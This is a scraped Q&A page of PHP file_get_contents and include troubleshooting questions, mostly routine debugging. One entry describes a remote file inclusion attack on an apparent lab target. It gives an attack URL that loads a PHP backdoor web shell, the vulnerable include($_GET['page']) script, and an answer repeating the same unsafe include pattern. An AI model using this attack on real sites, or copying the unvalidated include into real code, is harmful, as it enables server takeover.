Unable to retrieve "me" profile information in Facebook via PHP - php

I am trying to get some profile information in my Facebook via PHP as specified in,
http://developers.facebook.com/docs/authentication/
$user = json_decode(file_get_contents(
'https://graph.facebook.com/me?access_token=' .
$cookie['access_token']))->me;
When I run this code, I am getting the following warning:
Warning: file_get_contents(.....) [function.file-get-contents]: failed to open stream: No such file or directory in /home/website/public_html/helloworldpp/index.php on line 30
I have truncated and add "....." instead of the actual URL. However, when I access the "....." url via the browser I am getting the json response. I am not sure why I am unable to get it via the php code. Could some one please help me out?
Thanks a bunch.

It's possible that opening websites with file open is disabled on your webserver. You might want to consider using Curl instead.

Related

Failed HTTP request with file_get_contents without further specification

I'm trying to write the content of a page on my server to a variable using file_get_contents:
$lnk = "https://www.example.com/test%20file.php";
$otpt = file_get_contents($lnk);
The full URL is needed because I need the PHP output of the page and not the PHP script itself.
When running the above code I get this warning: failed to open stream: HTTP request failed! No other information, e. g. HTML error code, is provided. allow_url_fopen is enabled on the server. error_reporting(E_ALL) doesn't show any more information. The only thing which seems mentionable to me is that the file_get_contents request takes much too long (up to 30 secs) for the ~57 KB file I'm currently testing on.
I checked the Reference - What does this error mean in PHP?, but to no avail. I really have no idea what this message means since any further specification by PHP is missing. Any help would be very much appreciated.
Thanks in advance!

RFI not working properly, how to open a shell?

When i am trying to backdoor a web page given to me to find a specific file, upon requesting a shell i am given the following warnings on the page, and no other information is given. Should a shell pop up? I am kind of new to RFI and this is my first time working through it.
The link i used is:
http://10.102.x.x/description.php?page=http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php
The display when searching it was:
Warning: include(http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php): failed to open stream: Connection refused in /var/www/html/description.php on line 5
Warning: include(): Failed opening 'http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/description.php on line 5
description.php looks like this:
<?php
$image_name = $_GET['page'];
// Get the description from another file
include($image_name);
?>
What is the issue? I am sort of stuck.
Should i create a HTTP server to push my shell instead? I've read something about this but not sure what that entails
Even a link to an article is appreciated
I don't know how the php script looks like where you try go include the remote page, but it has to be something like:
$incfile = $_REQUEST["file"]; include($incfile.".php");

TCPDF file_get_contents issue

I am using Moodle 2.2 and using TCPDF to generate certificates for students. When user completes the course, Teacher should get the student's certificate as an email attachment.
For normal viewing of certificate I don't have any issue, but when comes to attachment I have to save it on server first. For that I have to invoke 'file_get_contents' method.
But I am getting error.
Code:
file_put_contents($CFG->dataroot.'/certificate/'.$USER->firstname.'_certificate.pdf', file_get_contents($certurl))
Error:
Warning:
file_get_contents(https://example.com/moodle/mod/certificate/view.php?id=84&action=get&uid=19):
failed to open stream: Connection timed out in
/usr/local/apache/htdocs/moodle/mod/quiz/view.php on line 290
It seems file_get_contents returns blank string. I tried cURL also. Both the options work fine to generate and view PDF online. But fails while saving it on server.
Note: I am facing this issue in my new server. It was working fine on my old server.

php Opening file using file_get_contents or curl through windows auth

Ive got a website where i want to open a file from another server. this server is connected using a network drive.
The file uses Windows authentication. Because of this, using
echo file_get_contents('\\\**.**.local/data/user/*/*.xlsx');
results in
file_get_contents(\\*.*.local/data/user/*/*.xlsx) [function.file-get-contents]: failed to open stream: Permission denied
I found a similar problem here:
How to use file_get_contents() to retrieve a file behind Windows NT Auth
But I cant get it to work. Using this:
getUrl('\\\*.*.local/data/user/*/*.xlsx','username','password');
Always results in :
Could not resolve host: \\*.*.local
Using
getUrl('file://*.*.local/data/user/*/*.xlsx','username','password');
gives me
Couldn't open file
/data/user//.xlsx
What am I doing wrong?
I think you can both use:
getUrl('file:////*.*.local/data/user/*/*.xlsx','username','password');
or
getUrl('file://\\*.*.local\data\user\*\*.xlsx','username','password');

PHP file_get_contents sometimes returns error: Failed to open stream Failed to parse address

I am using PHP to interface an API. I can generally get most of the results good but sometimes, the data for some requested ID cannot be fetched and I get this error:
Failed to open stream Failed to parse address ""
When I try to access this address via my browser, I get normal response. Why does PHP return this error for some of the queries?
How do I diagnose this?
try to add http:// in your url's head
like:http://stackoverflow.com

Categories